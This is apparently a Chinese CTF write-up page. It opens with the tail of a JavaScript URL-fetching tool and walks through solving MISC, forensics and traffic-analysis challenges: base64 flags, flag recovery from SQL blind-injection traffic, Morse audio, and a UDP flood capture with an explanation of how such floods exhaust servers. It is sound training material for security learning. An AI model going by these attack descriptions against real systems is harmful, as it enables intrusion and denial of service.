                document.getElementById(section + '-section').classList.add('active');
            });
        });

        // Tabs
        document.querySelectorAll('.tab-btn').forEach(btn => {
            btn.addEventListener('click', function() {
                const parent = this.closest('.panel');
                parent.querySelectorAll('.tab-btn').forEach(b => b.classList.remove('active'));
                this.classList.add('active');
                const tab = this.dataset.tab;
                parent.querySelectorAll('.tab-content').forEach(t => t.style.display = 'none');
                parent.querySelector('#' + tab + '-tab').style.display = 'block';
            });
        });

        function updateStats() {
            fetch('?action=stats')
                .then(res => res.json())
                .then(data => {
                    if (data.success) {
                        document.getElementById('totalRequests').textContent = data.stats.total_requests;
                        document.getElementById('successRequests').textContent = data.stats.successful_requests;
                        document.getElementById('failedRequests').textContent = data.stats.failed_requests;
                        const total = data.stats.total_requests;
                        const rate = total > 0 ? Math.round((data.stats.successful_requests / total) * 100) : 0;
                        document.getElementById('successRate').textContent = rate + '%';
                    }
                });
        }

        function doFetch() {
            const url = document.getElementById('fetchUrl').value;
            if (!url.trim()) { alert('Please enter a URL'); return; }
            const resultDiv = document.getElementById('fetchResult');
            resultDiv.innerHTML = '<div class="result-header">Processing request...</div>';
            resultDiv.className = 'result-panel show';
            fetch('', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: 'action=fetch&url=' + encodeURIComponent(url)
            })
            .then(res => res.json())
            .then(data => {
                resultDiv.className = 'result-panel show ' + (data.success ? 'success' : 'error');
                if (!data.success) {
                    resultDiv.innerHTML = '<div class="result-header">Request Failed</div><div class="result-content">Error: ' + data.error + '</div>';
                } else {
                    let html = '<div class="result-header">Request Successful</div>';
                    html += '<div class="info-grid" style="margin-bottom: 15px;">';
                    html += '<div class="info-item"><div class="info-label">Size</div><div class="info-value">' + data.size + ' bytes</div></div>';
                    html += '<div class="info-item"><div class="info-label">Type</div><div class="info-value">' + data.type + '</div></div>';
                    html += '<div class="info-item"><div class="info-label">HTTP Code</div><div class="info-value">' + data.code + '</div></div>';
                    html += '<div class="info-item"><div class="info-label">Time</div><div class="info-value">' + data.time + 's</div></div>';
                    html += '</div>';
                    html += '<div class="result-content">Base64 Data (first 500 chars):\n' + data.content.substring(0, 500) + '...</div>';
                    resultDiv.innerHTML = html;
                }
                updateStats(); loadHistory();
            });
        }

        function doPreview() {
            const url = document.getElementById('previewUrl').value;
            if (!url.trim()) { alert('Please enter a URL'); return; }
            const resultDiv = document.getElementById('previewResult');
            resultDiv.innerHTML = '<div class="result-header">Loading preview...</div>';
            resultDiv.className = 'result-panel show';
            fetch('', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: 'action=preview&url=' + encodeURIComponent(url)
            })
            .then(res => res.json())
            .then(data => {
                resultDiv.className = 'result-panel show ' + (data.success ? 'success' : 'error');
                if (!data.success) {
                    resultDiv.innerHTML = '<div class="result-header">Preview Failed</div><div class="result-content">Error: ' + data.error + '</div>';
                } else if (data.type === 'image') {
                    resultDiv.innerHTML = '<div class="result-header">Image Preview</div><div style="text-align: center; padding: 20px;"><img src="data:' + data.mime + ';base64,' + data.data + '" style="max-width: 100%; border-radius: 6px;"></div>';
                } else if (data.type === 'text') {
                    resultDiv.innerHTML = '<div class="result-header">Text Preview</div><div class="result-content">' + data.preview + '\n\nTotal Size: ' + data.length + ' bytes</div>';
                } else {
                    resultDiv.innerHTML = '<div class="result-header">Binary Data</div><div class="result-content">Size: ' + data.size + ' bytes\nType: ' + data.mime + '\n\nBase64 Preview:\n' + data.data.substring(0, 500) + '...</div>';
                }
                updateStats(); loadHistory();
            });
        }

        function doAdvanced() {
            const url = document.getElementById('advancedUrl').value;
            const key = document.getElementById('advancedKey').value;
            const data = document.getElementById('advancedData').value;
            if (!url.trim()) { alert('Please enter a URL'); return; }
            const resultDiv = document.getElementById('advancedResult');
            resultDiv.innerHTML = '<div class="result-header">Executing...</div>';
            resultDiv.className = 'result-panel show';
            let body = 'action=fetch&url=' + encodeURIComponent(url);
            if (key && data) { body += '&key=' + encodeURIComponent(key) + '&data=' + encodeURIComponent(data); }
            fetch('', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: body
            })
            .then(res => res.json())
            .then(data => {
                resultDiv.className = 'result-panel show ' + (data.success ? 'success' : 'error');
                resultDiv.innerHTML = '<div class="result-header">Response</div><div class="result-content">' + JSON.stringify(data, null, 2) + '</div>';
                updateStats(); loadHistory();
            });
        }

        function clearResult(type) {
            const resultDiv = document.getElementById(type + 'Result');
            resultDiv.classList.remove('show');
            document.getElementById(type + 'Url').value = '';
        }

        function loadHistory() {
            fetch('?action=history')
                .then(res => res.json())
                .then(data => {
                    if (data.success && data.history.length > 0) {
                        let html = '<table class="table"><thead><tr><th>Time</th><th>URL</th><th>Status</th></tr></thead><tbody>';
                        data.history.forEach(item => {
                            html += '<tr><td>' + item.time + '</td><td style="font-family: monospace; font-size: 12px;">' + item.url.substring(0, 80) + '</td>';
                            html += '<td><span class="badge badge-' + (item.status === 'Success' ? 'success' : 'danger') + '">' + item.status + '</span></td></tr>';
                        });
                        html += '</tbody></table>';
                        document.getElementById('historyContent').innerHTML = html;
                    }
                });
        }

        function clearHistory() {
            if (confirm('Are you sure you want to clear the history?')) {
                fetch('?action=clear_history').then(res => res.json()).then(() => {
                    document.getElementById('historyContent').innerHTML = '<div class="empty-state"><div class="empty-state-icon">📋</div><div>No requests recorded yet</div></div>';
                });
            }
        }
        setInterval(updateStats, 5000);
    </script>
</body>
</html>

MediaDriveve

MISC

Split_Invisible_Challenges




字体改成红色

FuZF9sc2JfbWFzdGVyfQ==

得到前一段

WXVueGl7aW52aXNpYmxlX2

流量分析2

分析知晓这截取的是sql盲注的流量包,再用ascii码撞flag

爆破成功返回Hello admin!

把所有含Hello admin!的内容筛出来

逐个找出flag每一位对应的ascii码

转换成字符串即可

Yunxi_月影回声

zip要密码

分析图片

得到:yunxi-moon-519

解压得到

zip依旧要密码,图片没什么信息,音频是摩斯密码

随波逐流会被背景音干扰

断网就手搓

联网就专业网站:

https://morsecode.world/international/decoder/audio-decoder-expert.html

总之出来了:SILVER-COMET

解压

似乎是藏头诗

WXVueGl7Tm9fTFNCXzN4U3RlZzBfTTAwbkVjaG99

Forensics

这里考内存取证

用Lovelymem

执行扫描文件

打开结果全局搜索txt

流量分析

前置知识

  1. UDP协议

    UDP(User Datagram Protocol,用户数据报协议)是传输层核心协议之一,RFC 768 定义。其设计哲学是"最小开销、最大速度":

    | 特性 | 说明 | 安全影响 |

    | -------- | ------------------- | ---------------- |

    | 无连接 | 发送前不建立连接,无握手过程 | 无状态验证,极易伪造源地址 |

    | 不可靠 | 不保证送达、不保证顺序、不重传 | 攻击者无需关心响应,火力全开 |

    | 轻量级 | 头部仅 8 字节,无流量控制、拥塞控制 | 可构造极高 PPS(包每秒)攻击 |

    | 面向报文 | 保留应用层边界,一次发送对应一次接收 | 大包直接分片,易引发碎片攻击 |

UDP洪水攻击的工作原理主要是利用大量的UDP数据包冲击目标服务器,导致服务器资源耗尽而无法提供正常服务。因为UDP协议是一种无连接的服务,攻击者可发送大量伪造源IP地址的小UDP包。当服务器接收到新的UDP数据包时,会逐步进行处理,并在此过程中利用服务器资源来处理请求。传输UDP数据包时,每个数据包都将包括源设备的IP地址。由于目标服务器利用资源来检查并响应每个接收到的UDP数据包,当收到大量UDP数据包时,目标资源会很快耗尽,从而导致对正常流量拒绝服务。

题目

分析协议分级

层级 图中显示 含义
第1层 Frame 物理层/数据链路层原始帧(所有1509个包)
第2层 Raw packet data 原始数据包内容
第3层 Internet Protocol Version 4 IPv4 网络层(1509个包全是IPv4)
第4层 User Datagram Protocol UDP 传输层(1500个包走UDP)
第4层 Transmission Control Protocol TCP 传输层(9个包走TCP)
第5层 Hypertext Transfer Protocol HTTP 应用层(藏在TCP下面,1个HTTP请求)
第6层 JavaScript Object Notation JSON 数据格式(藏在HTTP下面,1个JSON载荷)

分析出是UDP泛洪攻击

1.查看http包,post传输base64的json

2.解base64得到zip

3.有密码

4.UDP中查找=或WXVueG(base64编码的'Yunx')

5.找的内容用base64解码

6.得到密码

7.解压zip得到图片

8.放入随波逐流

相关推荐
祁白_13 小时前
PHP无参RCE
web安全·php·ctf·writeup
名字不相符1 天前
ctfshow之MISC入门(个人记录与学习)
学习·ctf·misc
祁白_2 天前
5字符限制下的 RCE
web安全·ctf·代码审计·writeup
祁白_4 天前
[0xV01D]_Glass Parcel_writeUp
大数据·安全·ctf·writeup
祁白_8 天前
[HCTF 2018]WarmUp1
安全·渗透·测试·ctf·writeup
祁白_8 天前
[BJDCTF2020]Mark loves cat (WriteUp)
web安全·ctf·writeup
祁白_8 天前
无字母数字 Webshell 绕过
笔记·web安全·测试·ctf
yv_3011 天前
CTFShow-XXE
ctf·ctfshow·xxe漏洞
酿情师16 天前
2026平航杯倩倩手机逆向包逆向全过程(逆向鸿蒙系统app包)
华为·智能手机·harmonyos·逆向·ctf·re·取证